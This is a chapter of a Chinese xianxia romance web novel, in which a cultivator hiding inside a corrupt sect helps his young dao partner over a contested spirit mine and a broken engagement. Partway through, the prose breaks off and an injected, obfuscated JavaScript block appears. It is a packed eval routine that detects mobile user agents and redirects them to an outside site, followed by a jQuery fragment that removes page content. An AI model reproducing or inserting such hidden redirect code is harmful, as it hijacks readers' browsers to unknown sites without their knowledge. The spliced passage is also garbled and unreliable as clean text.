6. 灵矿

作品:《少年龙傲天道侣要和离

    是了,他个小邪修连强迫人都要挑三拣四。


    不满意。


    他不!满!意!


    “喀嚓。”


    楚云骁掰断了手中桃树枝,内府又燥上了,火烧火燎地憋闷。


    一个初出茅庐的小邪修,见过什么好东西。


    他明明、明明……


    连清见年少的道侣脸色变来变去,要说什么,忽听远处传来脚步声,妙仙宗的弟子找来了。


    不待他动作,楚云骁立马拽住他胳膊,拉进了某个偏僻的房间里。


    任由少年握着手腕,连清站在背后,看到道侣通红的耳朵,许是看得久了,楚云骁有所觉地回过头来瞪他:“死心吧,不要想歪主意,我可不会再让你得逞。”


    “不在这里吗?”


    “没有,再去那边看看。”


    “麻烦,一个废物跑哪去了……”


    外面的声音靠近又走远,很快消失。


    楚云骁嘴里叼着根小桃枝,桃枝顶端孤零零的一朵小花秃了一半,剩下一半也颤巍巍地要落不落,随着他唇瓣动作上下颠簸。


    “人都走了,你还要跟着我啊。”少年挑眉,斜瞥着连清:“不是还要通知你同门来抓我吧。”


    话落,不等连清回答,又摇头否定道:“不该不该,你们小邪修都爱吃独食,那就是还惦记小爷我……”


    楚云骁小声哼道:“不是不满意,还跟着我做什么。”


    连清低下头,看被他牢牢握住的手腕,少年瞧见,立刻火燎似的松开:“……这是在陆家,我当然要看住你!”


    小邪修的手腕纤细白皙,玉石似的,稍稍用些力便落下红痕,像是箍久了留住的痕迹,与那个雨夜很像……


    楚云骁忙撇过头,装模作样地观察外面。


    “妙仙宗不知我就是林中之人,看来你也不是没良心,嘴很严。”


    少年清清嗓子:“修炼本就是逆天之行,还是要走正途知不知道?”


    见小邪修不出声,楚云骁回头瞪过去:“听到没?”


    “听到了。”


    连清视线又落到少年红透的耳朵,想到道侣曾经说过他功法外相,修炼时有露痕迹,耳朵常常都要红。


    但他如今应当还未得到那套功法,体质便已显现出来了吗。


    楚云骁被看得就要板住脸,外面蓦地响起敲门声,几声长几声短,他表情一收,将桃枝塞到连清手里,示意小邪修先在这老实待着,自己过去开门。


    有轻盈的脚步声,隔着仙羽屏风,连清听见一道略有耳熟的嗓音与少年言语。


    “可算啰嗦够,东西我带来了,大公子可不要忘了之前的承诺。”


    是在厅中见过的,徐家的掌家娘子。


    徐娘子轻摇团扇,眉目含笑地望着楚云骁:“灵矿刚有消息,妙仙宗便来了人,可是巧了,想来退婚不过是顺手而为。”


    楚云骁接过储物袋看过,不以为意:“我管他怎么想。”


    说着甩给对方一个小瓷瓶:“丹药在里面了,让妙仙宗得了灵矿,便给另一份。”


    徐娘子眸中闪过喜色,很快又收敛起来,笑说:“大公子安心便是,平白的灵矿,妙仙宗欢喜还来不及,哪有往外推的道理。”


    前个月,天方城西边有人发现异动,探查之后才惊觉是片灵矿,挖出来可是纯正的灵石,泼天的富贵往头上落。


    陆家、徐家、厉家自是都不肯相让,暗中角逐后勉强达成平衡,联手看管。


    但灵矿比预想中的还要大,消息不知怎么走漏出去,以天方城三家之势怕是吃不下,否则只能引祸上身。


    不得已,只能分出去一部分利益,寻求大宗门的庇佑,而妙仙宗就有这样的实力。


    原本在云皎州,该是寻找本州大宗门才好,否则同样不好过,可若是妙仙宗主动上门,那就没得选择了。


    徐娘子先前听大公子言妙仙宗会为灵矿来,还有疑虑,毕竟妙仙宗远在雾迤州,与云皎州隔了整块地界,把手伸过来,是要得罪云皎州鼎盛仙门的。


    不曾想,借着退婚的由头,妙仙宗居然真的来了,还是少主亲临。


    那就不是灵矿的事了,是两个大宗门之间的较量,小小世家参与进去定要粉身碎骨。


    徐娘子宁愿将灵矿推出去,也不想徐家被连累,便答应了大公子的买卖,好歹落点实惠。


    她不好在这里多待,要离开时又有好奇,忍不住问:“大公子可是当真甘心将婚约让给陆白予?”


    “真啊,真得不能再真。”


    楚云骁脸上不见一点气愤。


    徐娘子看不懂,也不去探究。


    旁人都道陆家大公子废人一个,注定只能做泥坑里的鱼虾,但她倒觉得修仙路上,本就没有注定事。


    “那就再好不过了。”徐娘子笑得揶揄:“大公子这般俊朗,哪还愁寻不着可心的道侣。”


    徐娘子离开了,楚云骁将道侣撇到一边,才从一个坑里爬出来,干嘛要再急着跳进去。


    他才不要……一转身,看到妙仙宗的小邪修绕过屏风,明目张胆地偷听,楚云骁笑起来,笑得阴森恐怖:“你是不是知道得太多了?”


    连清不是知道得太多,他是知道得太少了。


    无论是道侣曾经的经历,还是麻绳一样的过往,在他面前都了无痕迹。


    或是因他从不在意外界之事,天方城的灵矿,如今回忆,也未有印象。


    清阳宗灵矿成堆,连清手中便有数条,此前皆不当事,如今……


    “灵矿。”连清望着少年,问及:“你需要吗?”


    楚云骁没在小弟子脸上看到一点怕的神色,没好气地收了表情:“一堆眼睛盯着的灵矿,谁敢要啊,要了去填土吗。”


    他大步走过来,靠在连清面前,往前倾身,鼻尖几乎要碰到一起,楚云骁眯起眼:“怎么,要打探我的事?”


    他反省,是他没说清楚,让小邪修误会他们还有联系,竟然还要好奇他的事。


    别是表面乖巧,心底里还惦记着坏坏的事吧。


    那可不行。


    上次是他大度不予计较,但不会有下次了,想都不要想!


    两人挨得很近,眼前是连件好衣都没有的年轻道侣。


    妙仙宗修魔做尽恶事,不能不理,暂时还离不开,连清想着稍会儿便传讯给宗主师兄,给道侣开放灵矿禁制。


    修士提升实力消耗巨大,剑修更是往往很穷,但如今修真界正是盛时,大家都开始讲究起来,再落魄也不会连件普通仙衣也没有。


    “喂。”


    连清正想着手中哪条灵矿比较近,便听少年唤他。


    看过去,楚云骁撤开身子,表情严肃起来,与他威胁道:“别惦记小爷,小爷是不可能纵容你的,等离开陆家,我们便两不相干,你若能迷途知返离开妙仙宗最好,如不肯……”


    他握住悬挂剑柄,抽出些许,锋刃闪过寒芒,跟他的声音一样冷:“下次再见,就别怪我出手太狠。”


    “……”连清。


    少年落下狠话,转过身,头也不回地走了。


    出去门外,又是风流潇洒的陆大公子。


    连清将出鞘的利剑推回去,再将房间内来人的痕迹抹除,也出了门。


    他当然是要离开妙仙宗的。


    要在揭露了妙仙宗的底细之后。


    若是年少的道侣不肯去,他只能再想想别的办法。


    连清回去暂住的院落,厅中的闹事已经结束,妙仙宗的弟子悠闲起来,有的回了院子,有的外出去天方城闲逛,没了忙碌的事。


    他看到了喻秋彦,三长老不知去向。


    几个去寻陆大公子的弟子没找到人,眼角眉梢带着火气,听说陆白予要请他们去瞧天方城的新鲜,犹豫了下,便答应下来。


    孙师兄过来问连清:“师弟一起去吧?”


    连清拒绝了。


    孙师兄遗憾地跟其他弟子离开。


    院落复又安静下来。


    妙仙宗不会在这里停留太久,不过何时离开还要等三长老的消息。


    婚约落在谁身上无关紧要,连清没去打探其他,但他要找出妙仙宗隐藏修魔的猫腻,接触喻秋彦是最快的。


    作为妙仙宗现少主,喻秋彦就算没有接触,也会有所察觉。


    那么大个宗门,怎可能蛛丝马迹都不露。


    连清没有做卧底的经验,天赋也谈不上,只能花更多的时间观察。


    陆家待妙仙宗为贵客,不敢怠慢,想去何处,只要不是禁地,都是可的。


    楚云骁绕开妙仙宗弟子,耳边却不消停。


    【你怎么乱改词儿,气势!气势没了啊!】


    【说好了要让妙仙宗、让安如析悔不当初,最后跪倒在你面前痛哭流涕呢!】


    【你就这么干脆的放弃了?!】


    楚云骁捏捏耳朵:“行了,吵什么。”


    对方很激动:【这是我们在九州初初崭露头角的大事啊,你怎么能无动于衷。】


    这种大事他可不想要。


    楚云骁嗤道:“换个形式而已,虽然你的设想不错,但既然要做仙首,跟几个癞皮纠缠,往后说起来岂不让人笑话。”


    对面静默下来。


    楚云骁又道:“我说得再慷慨激昂,听的也就这几个人,传出去早变了味道,你当旁人在意?”


    “事后还不是任人编排,你往好听了编就成了。”


    对方似乎被说服了,勉强道:【……好吧,也有几分道理。】


    他打起精神来:【算了,妙仙宗不会轻易将婚约换给陆白予的,他的天赋还不够,不过倒是也给了他幽邃秘境的名额,将人安抚住了。】


    楚云骁语气轻松:“怕什么,你不是说那宝贝只有我能拿到,旁人碰不着么。”


    【确实,我的判断肯定不会错。】对方重拾信心,再接再厉地劝:【那这边也不能拖了,今晚就行动,好兄弟,你要……】


    耳中消音,楚云骁看到陆无成从远处出现,怒气冲冲地飞过来:“逆子,你给我站住!”


    楚云骁就没跑,啃着从树上顺来的桃子,懒懒道:“老头找我啊。”


    “你还敢说!”陆无成冲到近前,抬起手就要给他一巴掌,当然是没成,楚云骁躲开了,跳到墙上道:“怎么,你不想婚约换给陆白予就早说嘛,我也可以再去跟妙仙宗提,取消第三个条件罢了。”


    “你……”


    陆无成被法宝拦着碰不到人,气得手指直抖:“逆子,还不快将宝物拿来!”


    “什么宝物。”楚云骁支起右腿坐在墙头的样子也潇洒帅气。


    “少装傻!”陆无成怒道:“婚约的信物乃陆家至宝,要放到祠堂压阵的,你……”


    “那不成。”楚云骁挠挠下巴,无辜道:“我已经送人了。”


    “……逆子!逆子!!!”


    陆家上空响起惊天动地的吼声。


    “师弟。”


    喻秋彦在唤,连清收回目光,见对方视线从他手中的桃枝上扫过,半残的小桃花含苞待放,透着几分可怜。


    不过也就一瞬,他们便看向桌上的烫红帖子。


    那是喻秋彦刚刚收到的,来自归元宗的帖子。


    归元宗,云皎州第一大宗,位列九宗之一,比起垫底的妙仙宗,归元宗的实力要强上太多,且宗门善炼丹。


    修士修炼除天赋外,常以丹药辅助,许多资质稍逊的修真者若有家底,靠着丹药也能更进一层,尤其是效果斐然的古方。


    除此外,补充灵力、救治伤重,都离不开各种灵丹,所以大家常会与丹修交好,说不定什么时候便会有所求。


    在这样的背景下,归元宗可谓广结善缘,宗门不缺天资之辈,底蕴深厚,在云皎州的根基稳稳的,说是整个九州最会炼丹的宗门也不为过。


    而妙仙宗,数后起之秀,在归元宗面前如婴儿般稚嫩,无论是实力还是口碑都难比得。


    在这个时候归元宗送来帖子,且送到喻秋彦手里,说明对方很清楚妙仙宗的行踪,且明白他们此行目地。


    为得是那条还不稳固的灵矿。


    按理说,同为云皎州宗门,天方城该是寻归元宗为后盾,归元宗名声好,弟子又多为丹修,腰包鼓鼓,不会做独吞灵矿的事,尽可将心放到肚子里。


    但不知何原因,天方城三家竟绕过归元宗,将眼睛落到了妙仙宗身上。


    归元宗也许不在乎一条小小的灵矿,但如此行为便有些打脸,心中傲的难免不痛快。


    而面前的帖子就是一种信号。


    连清不知天方城三家缘何这般,但之前楚云骁与徐娘子的对话让他晓得道侣在促成此事,那他就不会有第二种偏向。


    这条灵矿,必须是妙仙宗的。


    喻秋彦已经看过帖子,现下推到连清面前,说着:“师弟也来瞧瞧。”


    连清没客气,打开来看。


    帖子内容没有什么激烈言辞,只道知晓妙仙宗来到云皎州,愿尽地主之谊,邀请他们去做客。


    旁人求也求不来的好事。


    连清放下帖子:“少主不愿去?”


    喻秋彦摇头,似乎没什么脾气,和和气气地笑:“我是想去的。”


    但对妙仙宗,却不是好事。


    连清突然就察觉出了一点微妙。


    若妙仙宗还维持着九宗体面,就不该为了一条小小灵矿跑来云皎州,越俎代庖,或提前打过招呼也好过现在的局面。


    连清不理世俗,不代表他什么都不懂,宗主师兄处理事务的卷轴,他幼时当过故事看的,能猜出归元宗不满的点。


    他不止一次听同门念叨,妙仙宗言行愈发肆无忌惮,也就在那之后不久,便曝出了修魔之事。


    那妙仙宗可是有何原因,非要天方城这条灵矿不可,更甚为故意与归元宗为难?


    连清去瞧喻秋彦表情,喻少主在温茶,一举一动皆赏心悦目,末了将一支茶碗推到他面前。


    “师弟无需担忧。”


    似是怕他多想,喻秋彦温声道:“此行出来得急,还要回去与宗主复命,想是只能辜负归元宗好意,下次再去上门谢罪了。”


    连清注意到,喻秋彦称呼父亲为宗主。


    天色暗下,连清回去宅院,出门的妙仙宗弟子没有归来。


    坐在窗边的软榻上,连清没有点灯,面前的小桃花在月色下映出一点明亮,他伸手拨动花影,要落不落的花瓣终是飘飘然颤动,窝在了他掌心。


    连清一怔,察觉到什么,将灵气附着上去,下一瞬,那小小的桃花瓣便褪去伪装,恢复原本的模样。


    是一桃花样宝物。


    他见过。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168963|196796||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    那妙仙宗还给楚云骁的婚约信物。


    少年道侣如今身无长物,将宝物给他做什么?


    桃花宝物被陆无成炼化过,但只是简单炼化,轻易便能抹除痕迹,威力不如何大,也可做傍身之物,哪还嫌弃得了那么多。


    何况它来自陆家的那位老祖,意义自是不同。


    连清起身,要去还给道侣。


    喻秋彦给出的宝物、陆家的灵石、妙仙宗还来的信物,楚云骁如今能得到的家当,都到了他手上,让骤然一贫如洗的连清也有了能教人眼红的富余。


    但他过不了多久便要回去清阳宗,是不缺宝物和灵石的。


    冒然去寻陆家大公子,会惹人嫌疑,连清决定要不要下次见面时再交予他时,忽有所感,望向旁侧。


    是白日离开的三长老回来了,不知有何收获,情绪激荡,气息略有不稳。


    在对方眼下,有些事情便不好做了。


    连清回去到榻上盘膝而坐,想了想,又躺下,拌作普通弟子休憩。


    夜间无事,连清从睡眠状态醒来,眼中清明。


    玩了一日夜,妙仙宗弟子是被陆家下人接回来的,各个神情餍足,与陆白予称兄道弟,想是玩得很好。


    听到三长老说今日便返程时还有些愣:“这么急?”


    他们尤未玩够,在天方城,妙仙宗的身份是可以横着走的。


    但三长老发话,没人敢不听,只好收拾了东西,匆匆来,匆匆去。


    不过想到可以回去收拾那教他们狼狈不已的小魔头,又有了劲头。


    连清没在陆家送行的队伍里看到年少的道侣,倒是陆白予有在。


    幽邃秘境不久便会开启,陆白予会随着妙仙宗的队伍赶去雾迤州,与他们一同进入,寻求机缘。


    为此,陆无成堪称殷勤地将妙仙宗众送到天方城外。


    陆白予与安如析的婚约定不下,但能与妙仙宗交好,也比曾经不理不睬的关系要好多了。


    客气话说了一堆,陆家主拧眉望向身后,似在寻找什么,无果后,对着喻秋彦和三长老干笑道:“逆子顽劣,既然他不来,那便不用管他了,省得平白给诸位添麻烦。”


    妙仙宗的队伍启程了,来时徒步而行,回去有三长老在,也都坐上了灵兽车,不用一脚深一脚浅地颠簸。


    弟子们还有不舍。


    “行程紧得,原还要跟陆兄再逛过天方城的,如今也不能了。”


    “陆兄雅趣多,实让吾等自叹弗如。”


    陆白予很自谦:“诸位师兄抬爱,喜欢便教陆某欣悦了,天方城何时都将妙仙宗作贵客,往后再来就是,只是可惜……”


    他话音一转,望向角落里濯孤的身影:“怜师弟没有瞧见。”


    闻言,齐师弟撇嘴,立马不乐意了:“管他干什么,能跟着出行已经是他的造化了。”


    连清望着窗外,仿若未听见。


    齐师弟冷哼一声,踢了孙师兄一脚:“去,没听见陆兄说吗,还不将怜师弟叫来。”


    孙师兄唯唯诺诺,哄了两句便要照做,陆白予忙作解释:“怜师弟喜静,陆某没有强人所难之意,无需如此。”


    齐师弟却不听,阴阳怪气道:“陆兄能记得他,是给他脸,还装孤高就不对了。”


    妙仙宗弟子早就习惯齐师弟这般作态,不觉不对,反过来安慰陆白予放宽心。


    连清蓦地眉头微动,随后一道矫捷身影从天而降,落向灵兽车,砸到反应不及的孙师兄身上。


    “嘭。”


    妙仙宗弟子不待反应人影怎么穿过防御进来的,就看到了那张让他们咬牙切齿的俊逸面孔,顿时火起。


    “陆云骁!”


    “我们没找你算账,你倒是还敢露面。”


    “这次看你怎么逃!”


    楚云骁拍拍衣衫上不存在的灰尘,一脸无辜:“大家这是哪里话,我可是应了贵宗少主跟三长老的邀请来同行的,你们不会要反悔吧?”


    之后像是才看到孙师兄,立马退开,将人扶起来:“哎呦师兄怎么躺下了。”


    妙仙宗弟子看他那副假模假样的姿态,感受到了蔑视,鼻子都气歪了。


    尤其齐师弟,看他是一千个一万个不顺眼,怒道:“还想我师尊和少主师兄给你撑腰,做梦!”


    说着一挥手:“你爹都不管你,出了天方城就别把自己再当大少爷,给我抓起来!”


    孙师兄被莫名砸了下,额头一个大包,也起了怒,放出绳子去捆人。


    “你们仗势欺人!”


    楚云骁挣扎躲避,将灵兽车闹得几乎人仰马翻,引得前方喻秋彦注意,出声询问。


    妙仙宗弟子不得已老实下来,拿眼刮陆家大公子,还时不时与陆白予说小话:“还是陆兄性情舒逸,不像你兄长……呵。”


    楚云骁全当耳旁风,找了个角落坐了,还要嫌弃:“妙仙宗不是九宗之一,怎个马车挤这么多人,忒的寒碜。”


    弟子们险些又控制不住脾气。


    除了被讨厌的人念叨,还有点被戳中心事的恼羞成怒。


    妙仙宗出行素来高调,他们也不晓得为何此次这般拮据,别说规模恢弘的代步宝物,就是像样的灵舟都没有。


    但自己嘀咕是一回事,被人说出来就不行了。


    吵吵嚷嚷,连清始终静静坐着,看到道侣视线从他身上扫过,没有停留,宛若陌生人。


    变故来得突然。


    地龙翻滚的时间很短暂,也算不得剧烈,却教众人脸色变化,立即探头张望。


    “发生什么事了?”


    “是西边!”


    西边……天方城西边,灵矿所在地。


    三长老平稳的表情没能维持住,没管云皎州的禁空令,身形一闪便消失了。


    片刻后,众人得知,天方城西边新发现的灵矿出了意外,灵气消失,成了废石场。


    就在陆家徐家厉家的眼皮子底下。


    这种事当然没有传出去,但妙仙宗的弟子是能够知道的,表情都不好看。


    就算没参与,他们也能猜到那条灵矿算是落到妙仙宗手里了,谁知道还没离开云皎州,到手的灵矿便飞了,搁谁都要肉疼。


    到底是谁敢动到妙仙宗面前!


    弟子们气恼,哪里还顾得理会什么陆家大公子。


    楚云骁被撇到一边,无事一身轻,听他们怀疑陆家、怀疑厉家,还怀疑归元宗。


    忍了忍,没忍住,瞪了眼偷看他的小邪修:“道友还请自重。”


    如此明目张胆地瞧,也不怕被同门发现他对他有意,就这么急着宣誓主权吗,他可没答应呢!


    连清在看少年道侣的衣着,又换回了那身粗布麻衣,跟在妙仙宗弟子身边像是被欺负的夷奴,全靠那张脸和不羁的气质撑着。


    给宗主师兄传的信已经送了出去,应当不会耽搁太久。


    趁着旁人未注意,楚云骁来到连清身边,也不看他,冷漠道:“我不过与你同行一程,到时你回你的妙仙宗,我前往他处,日后再不会相见,阁下还是莫想太多。”


    连清平静地望着他,语出惊人:“我也可以不回去。”


    少年瞬间怔住,被定在那里,想法纷乱,最后归于一空。


    此时,楚云骁脑中只有一个念头。


    他要为我,叛出妙仙宗。